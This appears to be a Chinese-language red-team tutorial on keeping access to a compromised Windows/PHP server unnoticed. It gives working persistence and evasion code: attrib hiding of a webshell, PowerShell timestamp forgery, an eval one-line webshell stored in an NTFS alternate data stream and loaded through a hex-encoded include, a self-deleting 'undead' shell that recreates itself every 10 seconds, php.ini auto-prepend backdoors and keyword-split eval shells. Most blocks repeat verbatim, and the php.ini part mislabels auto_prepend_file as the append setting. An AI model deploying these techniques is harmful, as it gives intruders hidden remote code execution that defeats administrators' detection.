在红蓝对抗中,我们在拿下一个服务器之后该如何让权限维持的久一些而不被管理员轻易的发现 ,除了Webshell要免杀,还需要注意一些隐藏技巧,因此就要在我们上传的木马动点手脚想办法不被管理员以及检测工具快速的发现。
0x01 Attrib隐藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
参数说明:
+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录
+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录
执行完命令后当前目录下的文件即隐藏,即使开启了显示隐藏的文件或是dir都是看不见的
attrib +s +a +h +r shell.php //隐藏shell.php文件
attrib +s +a +h +r shell.php //隐藏shell.php文件
0x02 修改文件时间属性
当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12" //修改时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12" //访问时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12" //创建时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12" //修改时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12" //访问时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12" //创建时间修改
使用命令获取文件属性:
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某个文件夹下所有文件的创建和修改时间:
powershell.exe -command "ls 'test\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2077/01/01 19:00:00' }"
powershell.exe -command "ls 'test\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2077/01/01 19:00:00' }"
0x03 利用ADS隐藏文件内容
通过在命令行中echo一个数据流从而创建一个ADS隐藏文件
echo ^<?php @eval($_POST['chopper']);?^> > mm.php:shell.jpg
echo ^<?php @eval($_POST['chopper']);?^> > mm.php:shell.jpg
我们只能看见一个index.php文件,且内容为空,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个shell.jpg的。通过命令行输入完整的文件名即可通过notepad进行编辑,可以看到我们echo进去的一句话木马。
虽然我们已经将文件隐藏了,但是木马并不能够起作用,这里就需要用到文件包含,利用include函数,mm.php:shell.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。
<?php @include(PACK('H*','6D6D2E7068703A7368656C6C2E6A7067'));?>
<?php @include(PACK('H*','6D6D2E7068703A7368656C6C2E6A7067'));?>
0x04 不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //删除自身while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
sleep(10); //间隔时间
}?>
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //删除自身while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
sleep(10); //间隔时间
}?>
在每次删除后的10秒钟之后又会重新生成一个新的shell.php文件,若要彻底删除文件最好的方法是将web服务停止了再删除。
0x05 php.ini
php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。
;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"
访问任意一个php文件即可获取webshell。
0x06 关键字拆分与文件包含
1.php内容:
<?php
$a=$_POST['x'];?>
<?php
$a=$_POST['x'];?>
2.php内容:
<?php include "1.php";
@eval($a);?>
<?php include "1.php";
@eval($a);?>
直接访问2.php即可获取webshell